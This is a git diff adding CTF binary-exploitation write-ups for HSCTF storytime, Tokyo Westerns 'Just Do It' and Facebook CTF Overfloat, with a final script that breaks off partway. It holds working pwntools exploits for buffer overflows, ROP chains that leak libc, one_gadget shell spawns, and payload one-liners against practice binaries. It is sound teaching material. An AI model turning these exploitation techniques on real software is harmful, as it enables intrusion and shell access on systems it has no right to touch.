(0x400000) + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs] + → ./storytime + HSCTF PWNNNNNNNNNNNNNNNNNNNN + Tell me a story: + yes + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs] + → ./storytime + HSCTF PWNNNNNNNNNNNNNNNNNNNN + Tell me a story: + no + + + +So we have a 64 bit dynamically linked binary that has a Non-Executable stack (NX), it prints out some text, and then prompts us for input. Let's view it inside of ghidra: + +![](47.png) + +We get the following disassembled code: + + + undefined8 main(void) + + { + undefined local_38 [48]; + + setvbuf(stdout,(char *)0x0,2,0); + write(1,"HSCTF PWNNNNNNNNNNNNNNNNNNNN\n",0x1d); + write(1,"Tell me a story: \n",0x12); + read(0,local_38,400); + return 0; + } + + + +Our input text gets passed into a read() call, and we can pass in 400 bytes of data into the local_38 variable even though it was initially declared to be able to hold only 48 bytes. So this means that we have our buffer overflow right here. There is no stack canary, so nothing stops us from executing code, now what will we execute ? When we look under the imports in Ghidra, we see the following imported functions: + +![](48.png) + +So this means that we can call any of these functions, Since the ELF is dynamically linked, we don't have alot of gadgets. First we will need to get a libc infoleak with a **write** function that writes to stdout (1) and then loops back again to a vulnerable read call to overwrite the return address with a [onegadget](https://github.com/david942j/one_gadget), which is a ROP gadget that can be found in the libc, that can potentially spawn a shell. Now we need to know what the libc version is, we can view it from gdb with the **vmmap** command. + +![](49.png) + +Here we want to set the first breakpoint after the read call at **0x4x4x4x40069c** , so we can locate where our text is: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs] + → gdb ./storytime + GNU gdb (GDB) 10.1 + Copyright (C) 2020 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-pc-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1 using Python engine 3.9 + Reading symbols from ./storytime... + (No debugging symbols found in ./storytime) + gef➤ b *0x40069c + Breakpoint 1 at 0x40069c + gef➤ r + Starting program: /home/nothing/binexp/2/hs/storytime + HSCTF PWNNNNNNNNNNNNNNNNNNNN + Tell me a story: + 13371337 + + Breakpoint 1, 0x000000000040069c in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x0 + $rbx : 0x00000000004006a0 → <__libc_csu_init+0> push r15 + $rcx : 0x00007ffff7ebd052 → 0x5677fffff0003d48 ("H="?) + $rdx : 0x190 + $rsp : 0x00007fffffffdf38 → 0x00007ffff7df4b25 → <__libc_start_main+213> mov edi, eax + $rbp : 0x0 + $rsi : 0x00007fffffffdf00 → 0x3733333137333331 ("13371337"?) + $rdi : 0x0 + $rip : 0x000000000040069c → ret + $r8 : 0x0 + $r9 : 0x00007ffff7fdc070 → <_dl_fini+0> endbr64 + $r10 : 0xfffffffffffffb87 + $r11 : 0x246 + $r12 : 0x00000000004004d0 → <_start+0> xor ebp, ebp + $r13 : 0x0 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffdf38│+0x0000: 0x00007ffff7df4b25 → <__libc_start_main+213> mov edi, eax ← $rsp + 0x00007fffffffdf40│+0x0008: 0x00007fffffffe028 → 0x00007fffffffe358 → "/home/nothing/binexp/2/hs/storytime" + 0x00007fffffffdf48│+0x0010: 0x00000001f7fca000 + 0x00007fffffffdf50│+0x0018: 0x000000000040062e → push rbp + 0x00007fffffffdf58│+0x0020: 0x00007fffffffe339 → 0x61b7180f2454c920 + 0x00007fffffffdf60│+0x0028: 0x00000000004006a0 → <__libc_csu_init+0> push r15 + 0x00007fffffffdf68│+0x0030: 0x7140ad8a61b88017 + 0x00007fffffffdf70│+0x0038: 0x00000000004004d0 → <_start+0> xor ebp, ebp + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x400691 call 0x4004b0 + 0x400696 mov eax, 0x0 + 0x40069b leave + ●→ 0x40069c ret + ↳ 0x7ffff7df4b25 <__libc_start_main+213> mov edi, eax + 0x7ffff7df4b27 <__libc_start_main+215> call 0x7ffff7e0c820 + 0x7ffff7df4b2c <__libc_start_main+220> mov rax, QWORD PTR [rsp] + 0x7ffff7df4b30 <__libc_start_main+224> lea rdi, [rip+0x164729] # 0x7ffff7f59260 + 0x7ffff7df4b37 <__libc_start_main+231> mov rsi, QWORD PTR [rax] + 0x7ffff7df4b3a <__libc_start_main+234> xor eax, eax + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "storytime", stopped 0x40069c in main (), reason: BREAKPOINT + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x40069c → main() + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + + + +What happened here is that we first set the breakpoint to be after the read call, and then we ran the binary, gave it an easy to remember pattern (13371337) and then we hit our breakpoint. Now let's search where our pattern is in the memory: + + + gef➤ search-pattern 13371337 + [+] Searching '13371337' in memory + [+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- + 0x7fffffffdf00 - 0x7fffffffdf08 → "13371337[...]" + + gef➤ info frame + Stack level 0, frame at 0x7fffffffdf38: + rip = 0x40069c in main; saved rip = 0x7ffff7df4b25 + Arglist at unknown address. + Locals at unknown address, Previous frame's sp is 0x7fffffffdf40 + Saved registers: + rip at 0x7fffffffdf38 + + + +So here we see that our pattern is located at **0x7fffffffdf00** and the return address is at **0x7fffffffdf38** so we can now calculate the offset between the 2 with python's hex() function easily: + + + [ 192.168.0.18/24 ] [ /dev/pts/17 ] [Nextcloud/blog] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex( 0x7fffffffdf00 - 0x7fffffffdf38 ) + '-0x38' + + + +And we get a 0x38 bytes offset between the start of our input and the return address. Now for the write libc infoleak, we need to make use of the following registers: + + + rdi 0x1 (stdout file handle) + rsi got address entry for write + rdx value => 8 + + + +Since PIE isn't enabled, we know the address of the got entry without needing a PIE infoleak. Looking at the assembly code leading up to the ret instruction which gives us code execution, we can see that the **rdx** register is set to 0x190 whgich will fit our needs: + + + 00400680 48 8d 45 d0 LEA RAX=>local_38,[RBP + -0x30] + 00400684 ba 90 01 MOV EDX,0x190 + 00 00 + 00400689 48 89 c6 MOV RSI,RAX + 0040068c bf 00 00 MOV EDI,0x0 + 00 00 + 00400691 e8 1a fe CALL read ssize_t read(int __fd, void * __ + + + +Now for the got entry of **write** in the rsi register, we see that there is a rop gadget that will allow us to pop it into the register. It will also pop a value into the r15 register, however we just need to include another 8 byte qword in our rop chain for that so it doesn't change anything: + + + [ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs] + → ROPgadget --binary storytime| grep rsi + 0x0000000000400701 : pop rsi ; pop r15 ; ret + + + +Now for the last register (1 in rdi) we can jump to 0x400601 which is in the middle of the end function: + + + void end(void) + + { + write(1,"The End!\n",0x28); + return; + } + + + +The instruction we jump back to will **mov 0x1 into edi** and then call **write** which will give us our infoleak: + + + 004005fa 48 8d 35 LEA RSI,[s_The_End!_00400761] = "The End!\n" + 60 01 00 00 + 00400601 bf 01 00 MOV EDI,0x1 + 00 00 + 00400606 e8 95 fe CALL write ssize_t write(int __fd, void * _ + ff ff + 0040060b 90 NOP + 0040060c 5d POP RBP + 0040060d c3 RET + + + +So it will return and then continue with our ropchain, however before it does that, it will pop a value off of our chain into the rbp register so we will need to include a 8 bytes qword in our ropchain at that point. for where to jump to, we choose **0x40060e** since it is the beginning of the **climax** function: + +![](50.png) + + + void climax(void) + + { + undefined local_38 [48]; + + read(0,local_38,4000); + return; + } + + + +This function will give us a buffer overflow where we can overwrite the return address with a onegadget and spawn a shell. Now let's find the onegadget from the base of libc, to choose which ones to use we can just guess and check + + + [ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs] + → one_gadget libc.so.6 + 0x45216 execve("/bin/sh", rsp+0x30, environ) + constraints: + rax == NULL + + 0x4526a execve("/bin/sh", rsp+0x30, environ) + constraints: + [rsp+0x30] == NULL + + 0xf02a4 execve("/bin/sh", rsp+0x50, environ) + constraints: + [rsp+0x50] == NULL + + 0xf1147 execve("/bin/sh", rsp+0x70, environ) + constraints: + [rsp+0x70] == NULL + + + +So with all of this, we end up with the following exploit: + + + [ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs] + → vim exploit.py + + + + + from pwn import * + + target = process('./storytime') + libc = ELF('libc.so.6') + + popRsiR15 = p64(0x400701) + writeGot = p64(0x601018) + payload = b"\x00"*0x38 + + # Pop the got entry of write into r15 + payload += popRsiR15 + payload += writeGot + payload += p64(0x3030303030303030) # Filler value will be popped into r15 + + # Right before write call in end + payload += p64(0x400601) + + # Filler value that will be popped off in end + payload += p64(0x3030303030303030) + + # Address of climax, we will exploit another buffer overflow to use the rop gadget + payload += p64(0x40060e) + + target.sendline(payload) + print(target.recvuntil("Tell me a story: \n")) + + # Scan in and filter out the libc infoleak, calculate base of libc + leak = u64(target.recv(8)) + base = leak - libc.symbols["write"] + print(hex(base)) + + # Calculate the oneshot gadget + oneshot = base + 0x4526a + + # Make the payload for the onshot gadget + payload = b"\x00"*0x38 + p64(oneshot) + + # Send it and get a shell + target.sendline(payload) + target.interactive() + + + + + [ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs] + → python3 original.py + [+] Starting local process './storytime': pid 1570923 + [*] '/home/nothing/binexp/2/hs/libc.so.6' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: Canary found + NX: NX enabled + PIE: PIE enabled + b'HSCTF PWNNNNNNNNNNNNNNNNNNNN\nTell me a story: \n' + 0x7f1b59432e30 + [*] Switching to interactive mode + @\xa0RY\x1b\x7f\x00\xf0KY\x1b\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xc5_Y\x1b\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0[*] Got EOF while reading in interactive + $ cat flag.txt + hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357} + + +And that's it ! we managed to capture the flag. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/just.md b/2/just.md new file mode 100644 index 0000000..02025c3 --- /dev/null +++ b/2/just.md @@ -0,0 +1,272 @@ +# Tokyo Western 2017 - Just Do It! + +## Downloading the binary file + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tw17_justdoit/just_do_it + --2021-02-23 15:25:50-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tw17_justdoit/just_do_it + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/tw17_justdoit/just_do_it [following] + --2021-02-23 15:25:51-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/tw17_justdoit/just_do_it + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.110.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 7792 (7.6K) [application/octet-stream] + Saving to: ‘just_do_it’ + + just_do_it 100%[=======================================================================================================================================================================================================>] 7.61K --.-KB/s in 0s + + 2021-02-23 15:25:51 (35.9 MB/s) - ‘just_do_it’ saved [7792/7792] + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit] + → file just_do_it + just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit] + → chmod +x just_do_it + + + +` ![]() + +## Solution + +First of all, let's run the binary file to see what it does: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit] + → ./just_do_it + Welcome my secret service. Do you know the password? + Input the password. + not_the_password + Invalid Password, Try Again! + + + +Again, this is the kind of binary files that wants us to give them the correct password, so it's time to checksec it and see what ghidra finds: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit] + → pwn checksec just_do_it + [*] '/home/nothing/binexp/2/justdoit/just_do_it' + Arch: i386-32-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x8048000) + + + +` ![](9.png) + + + undefined4 main(void) + + { + char *pcVar1; + int iVar2; + char local_28 [16]; + FILE *local_18; + char *local_14; + undefined *local_c; + + local_c = &stack0x00000004; + setvbuf(stdin,(char *)0x0,2,0); + setvbuf(stdout,(char *)0x0,2,0); + setvbuf(stderr,(char *)0x0,2,0); + local_14 = failed_message; + local_18 = fopen("flag.txt","r"); + if (local_18 == (FILE *)0x0) { + perror("file open error.\n"); + /* WARNING: Subroutine does not return */ + exit(0); + } + pcVar1 = fgets(flag,0x30,local_18); + if (pcVar1 == (char *)0x0) { + perror("file read error.\n"); + /* WARNING: Subroutine does not return */ + exit(0); + } + puts("Welcome my secret service. Do you know the password?"); + puts("Input the password."); + pcVar1 = fgets(local_28,0x20,stdin); + if (pcVar1 == (char *)0x0) { + perror("input error.\n"); + /* WARNING: Subroutine does not return */ + exit(0); + } + iVar2 = strcmp(local_28,PASSWORD); + if (iVar2 == 0) { + local_14 = success_message; + } + puts(local_14); + return 0; + } + + +here we have the code of the main function and we see something: first of all it checks if flag.txt is here, and then it prompts for our text input, putting it in the local_28 variable, and then later on, our input text (local_28) gets compared to the PASSWORD variable, so let's double click it in ghidra to see what it contains: + +![](10.png) + + + PASSWORD XREF[2]: Entry Point(*), main:080486d0(R) + 0804a03c c8 87 04 08 addr s_P@SSW0RD_080487c8 = "P@SSW0RD" + + + +now in the code we see something particular: + + + pcVar1 = fgets(local_28,0x20,stdin); + if (pcVar1 == (char *)0x0) { + perror("input error.\n"); + /* WARNING: Subroutine does not return */ + exit(0); + + + +So our input text passes into an fget call, which means that even though we have the password, the fgets call will append a newline character (0x0a) at the end, so to pass the check we need a nullbyte after P@SSW0RD, to do so we will use python: + + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/justdoit] + → ./just_do_it + Welcome my secret service. Do you know the password? + Input the password. + P@SSW0RD + Invalid Password, Try Again! + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/justdoit] + → python -c 'print "P@SSW0RD" + "\x00"' + P@SSW0RD + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/justdoit] + → python -c 'print "P@SSW0RD" + "\x00"' | ./just_do_it + Welcome my secret service. Do you know the password? + Input the password. + Correct Password, Welcome! + + + +Now here we basically managed to pass the check, but that's not it, we see from the disassembly code that the fgets call can input 32 bytes worth of data (looking at the stack below : 0x28 - 0x18 = 16 (since it's hexadecimal)). + +![](11.png) + +with this we can reach the output message being printed with a puts call, right before the function returns, so let's take another look at the code portion where flag.txt is handled: + + + local_18 = fopen("flag.txt","r"); + if (local_18 == (FILE *)0x0) { + perror("file open error.\n"); + /* WARNING: Subroutine does not return */ + exit(0); + } + pcVar1 = fgets(flag,0x30,local_18); + if (pcVar1 == (char *)0x0) { + perror("file read error.\n"); + /* WARNING: Subroutine does not return */ + exit(0); + } + + + +What we see here is that after it opens the flag.txt file, it scans in 48 bytes (here its 0x30 bytes in hexa). So the idea here is to find the address of where the flag file is stored, and then, to overwrite the value of the output message (puts call) with it to print the contents of flag: + + + flag XREF[2]: Entry Point(*), main:08048650(*) + 0804a080 00 00 00 undefine + 00 00 00 + 00 00 00 + 0804a080 00 undefined100h [0] XREF[2]: Entry Point(*), main:08048650(*) + 0804a081 00 undefined100h [1] + + [...] + + 0804a0aa 00 undefined100h [42] + 0804a0ab 00 undefined100h [43] + 0804a0ac 00 undefined100h [44] + 0804a0ad 00 undefined100h [45] + 0804a0ae 00 undefined100h [46] + 0804a0af 00 undefined100h [47] + + + +After double clicking on the flag variable, we get the code above, so we know that flag is at the address 0x0804a080, now if we look at the beginning of main, we see that the input variable (local_28) and the output message (local 14) are separated by 20 bytes worth of data: + +![](12.png) + + + ************************************************************** + * FUNCTION * + ************************************************************** + undefined main(undefined1 param_1) + undefined AL:1 + undefined1 Stack[0x4]:1 param_1 XREF[1]: 080485bb(*) + undefined4 Stack[0x0]:4 local_res0 XREF[1]: 080485c2(R) + undefined4 Stack[-0xc]:4 local_c XREF[1]: 08048704(R) + undefined4 Stack[-0x14]:4 local_14 XREF[2]: 0804860d(W), + 080486ee(W) + undefined4 Stack[-0x18]:4 local_18 XREF[3]: 08048625(W), + 08048628(R), + 0804864b(R) + undefined1 Stack[-0x28]:1 local_28 XREF[2]: 080486a6(*), + 080486d9(*) + main XREF[4]: Entry Point(*), + _start:080484d7(*), 0804886c, + 080488c8(*) + 080485bb 8d 4c 24 04 LEA ECX=>param_1,[ESP + 0x4] + + + +Now let's highlight just the parts we need: + +![](13.png) + +0x28 - 0x14 = 20 bytes, so let's create a payload that has 20 null bytes: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit] + → python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"' + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit] + → python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"' | xxd + 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ + 00000010: 0000 0000 80a0 0408 0a ......... + + + +here we can see with xxd what the payload looks like, now let's try it on the binary: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit] + → python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"' | ./just_do_it + Welcome my secret service. Do you know the password? + Input the password. + flag{g0ttem_b0yz} + + + +And there we have it! + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/overf.md b/2/overf.md new file mode 100644 index 0000000..acb6d33 --- /dev/null +++ b/2/overf.md @@ -0,0 +1,396 @@ +# Facebook CTF 2019 Overfloat + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/fb19_overfloat/overfloat + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/fb19_overfloat/libc-2.27.so + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/fb19_overfloat/core + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → l + total 4.3M + drwxr-xr-x 2 nothing nothing 4.0K Mar 6 19:11 . + drwxr-xr-x 12 nothing nothing 4.0K Mar 6 19:10 .. + -rw-r--r-- 1 nothing nothing 2.3M Mar 6 19:11 core + -rw-r--r-- 1 nothing nothing 2.0M Mar 6 19:10 libc-2.27.so + -rw-r--r-- 1 nothing nothing 14K Mar 6 19:10 overfloat + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → file overfloat + overfloat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8ae8ef04d2948115c648531ee0c12ba292b92ae4, not stripped + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → chmod +x overfloat + + + +` ![]() + +## Solution + +Now let's start off by testing the binary after using pwn checksec on it: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → pwn checksec overfloat + [*] '/home/nothing/binexp/2/overf/overfloat' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x400000) + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → ./overfloat + _ .--. + ( ` ) + .-' `--, + _..----.. ( )`-. + .'_|` _|` _|( .__, ) + /_| _| _| _( (_, .-' + ;| _| _| _| '-'__,--'`--' + | _| _| _| _| | + _ || _| _| _| _| + _( `--.\_| _| _| _|/ + .-' )--,| _| _|.` + (__, (_ ) )_| _| / + `-.__.\ _,--'\|__|__/ + ;____; + \YT/ + || + |""| + '==' + + WHERE WOULD YOU LIKE TO GO? + LAT[0]: 1 + LON[0]: 2 + LAT[1]: 3 + LON[1]: 4 + LAT[2]: 5 + LON[2]: 6 + LAT[3]: 7 + LON[3]: 8 + LAT[4]: 9 + LON[4]: 10 + LAT[5]: 0 + LON[5]: 11 + LAT[6]: 111111111111111111111111111111 + LON[6]: 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 + LAT[7]: LON[7]: 12334556778 + LAT[8]: ^C + + + +So we cna see that we are given a 64bit, dynamically linked binary with a non-executable stack (NX). In addition to that, we are given the libc file **libc-2.27.so**. Running the program we see that it prompts us for latitude / longitude pairs, so let's check out what we can find when we reverse the file with ghidra: + +![](46.png) + + + undefined8 main(void) + + { + undefined local_38 [48]; + + setbuf(stdout,(char *)0x0); + setbuf(stdin,(char *)0x0); + alarm(0x1e); + __sysv_signal(0xe,timeout); + puts( + " _ .--. \n ( ` ) \n .-\' `--, \n _..----.. ( )`-. \n .\'_|` _|` _|( .__, )\n /_| _| _| _( (_, .-\' \n ;| _| _| _| \'-\'__,--\'`--\' \n | _| _| _| _| | \n _ || _| _| _| _| \n _( `--.\\_| _| _| _|/ \n .-\' )--,| _| _|.` \n (__, (_ ) )_| _| / \n `-.__.\\ _,--\'\\|__|__/ \n ;____; \n \\YT/ \n || \n |\"\"| \n \'==\' \n\nWHERE WOULD YOU LIKE TO GO?" + ); + memset(local_38,0,0x28); + chart_course(local_38); + puts("BON VOYAGE!"); + return 0; + } + + + +Looking through the code here, we see that the part that's interesting is the char_course function, which takes the pointer local_38 as an arguement. When we look at the chart_course dissassembled function in ghidra we see the following: + + + void chart_course(long param_1) + + { + int iVar1; + uint uVar2; + double dVar3; + char local_78 [104]; + float local_10; + uint local_c; + + local_c = 0; + do { + if ((local_c & 1) == 0) { + iVar1 = (int)local_c / 2; + uVar2 = iVar1 + ((iVar1 / 10 + ((int)(local_c - ((int)local_c >> 0x1f)) >> 0x1f)) - + (iVar1 >> 0x1f)) * -10; + printf("LAT[%d]: ",(ulong)uVar2,(ulong)uVar2); + } + else { + iVar1 = (int)local_c / 2; + uVar2 = iVar1 + ((iVar1 / 10 + ((int)(local_c - ((int)local_c >> 0x1f)) >> 0x1f)) - + (iVar1 >> 0x1f)) * -10; + printf("LON[%d]: ",(ulong)uVar2,(ulong)uVar2,(ulong)uVar2); + } + fgets(local_78,100,stdin); + iVar1 = strncmp(local_78,"done",4); + if (iVar1 == 0) { + if ((local_c & 1) == 0) { + return; + } + puts("WHERES THE LONGITUDE?"); + local_c = local_c - 1; + } + else { + dVar3 = atof(local_78); + local_10 = (float)dVar3; + memset(local_78,0,100); + *(float *)(param_1 + (long)(int)local_c * 4) = local_10; + } + local_c = local_c + 1; + } while( true ); + } + + + +Here we see that our data is being scanned into the char ptr that is being passed in the function as an arguement (param_1) It scans 100 bytes of data into local_78 thanks to the memset() function call + + + dVar3 = atof(local_78); + local_10 = (float)dVar3; + **memset(local_78,0,100);** + *(float *)(param_1 + (long)(int)local_c * 4) = local_10; + + +after the memset call, it is setting ptr + (x * 4) equal to **float** where x is equal to the amount of floats already scanned in. There are no checks to see if the buffer gets overflowed, therefore, we have our buffer overflow right here. + +That is ran within a do{}while() loop, that on paper can run forever since we have **true** as the condition. However there the termination condition is if the first 4 bytes of our input are **done** as you can see below: + + + fgets(local_78,100,stdin); + iVar1 = strncmp(local_78,"done",4); + + +Therefore, keep in mind that the buffer that we are overflowing is from the stack in the main function, so we need to return to the main function before we can get code execution. Now let's take a look at the stack in ghidra: + + + ************************************************************** + * FUNCTION * + ************************************************************** + undefined main() + undefined AL:1 + undefined1 Stack[-0x38]:1 local_38 XREF[2]: 004009ed(*), + 00400a03(*) + undefined4 Stack[-0x3c]:4 local_3c XREF[1]: 0040099b(W) + undefined8 Stack[-0x48]:8 local_48 XREF[1]: 0040099e(W) + main XREF[5]: Entry Point(*), + _start:0040075d(*), + _start:0040075d(*), 00400ea0, + 00400f70(*) + 00400993 55 PUSH RBP + + + +Looking at the stack, there is nothing between local_38 (the variable of our input text) and the saved base pointer. Add on 8 bytes for the saved base pointer to the 48 bytes for the space, of our local_48 variable, and we get a total of **56** bytes to reach the return address. Now what code do we execute ? We're going to go with a ROP Chain using gadgets and imported functions from the binary since PIE is disabled, therefore we don't need an infoleak to do this. The problem is that the binary is not too big so we don't have the gadgets we would need to spawn a shell. + +To counter this, we can setup a **puts** call because it is an imported function, therefore we can call it with the **got address of puts** we can get a libc infoleak and then loop back around to the start of **main** which would allow us to exploit the same bug again witha libc infoleak. We can then write a onegadget to the return address to actually spawn a shell. + + + ****[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → objdump -D overfloat| grep puts + 0000000000400690 <****puts@plt>: + 400690: ff 25 8a 19 20 00 jmp *0x20198a(%rip) # 602020 <****puts@GLIBC_2.2.5> + 400846: e8 45 fe ff ff call 400690 <****puts@plt> + 400933: e8 58 fd ff ff call 400690 <****puts@plt> + 4009e8: e8 a3 fc ff ff call 400690 <****puts@plt> + 400a14: e8 77 fc ff ff call 400690 <****puts@plt> + +So here we have the plt addrets of **puts** as **0x400690** Next we need the got entry address for puts: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → objdump -R overfloat| grep puts + 0000000000602020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5 + + + +Now that we have the got entry address, we need a gadget that pops an arguement into rdi and then return: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → ROPgadget --binary overfloat| grep ": pop rdi" + 0x0000000000400a83 : pop rdi ; ret + + + +After we get the libc infoleak, we can just subtract the offset of puts from it to get the libc base. The only part that remains is the onegadget, check out the previous babyboi writeup to know how to set it up [here](bboi.html): + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → one_gadget libc-2.27.so + 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) + constraints: + rsp & 0xf == 0 + rcx == NULL + + 0x4f322 execve("/bin/sh", rsp+0x40, environ) + constraints: + [rsp+0x40] == NULL + + 0x10a38c execve("/bin/sh", rsp+0x70, environ) + constraints: + [rsp+0x70] == NULL + + + +And with this, we have everything we need to build our exploit. Since all of our inputs are interpreted as floats, We have to jump through a few hoops to get our inputs correctly: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf] + → vim exploit.py + + + + + from pwn import * + import struct + + # values of the rop chain + putsPlt = 0x400690 + putsGot = 0x602020 + popRdi = 0x400a83 + startMain = 0x400993 + oneShot = 0x4f2c5 + + #helper functions to help with the float input + pf = lambda x: struct.pack('f', x) + uf = lambda x: struct.unpack('f', x)[0] + + #target process + target = process('./overfloat') + libc = ELF('libc-2.27.so') + + #helper function to send input: + def sendVal(x): + v1 = x & ((2**32) - 1) + v2 = x >> 32 + target.sendline(str(uf(p32(v1)))) + target.sendline(str(uf(p32(v2)))) + + #fill up the space between the start of the input and the return address + for i in range(7): + sendVal(0xdeadbeefdeadbeef) + + #send the ropchain to print the libc address of puts + #loop around to the start of main + + sendVal(popRdi) + sendVal(putsGot) + sendVal(putsPlt) + sendVal(startMain) + + # Send done so our code executes + target.sendline(b'done') + + # Print out the target output + print(target.recvuntil(b'BON VOYAGE!\n')) + + # Scan in, filter out the libc infoleak, calculate the base + leak = target.recv(6) + leak = u64(leak + b"\x00"*(8-len(leak))) + base = leak - libc.symbols['puts'] + + 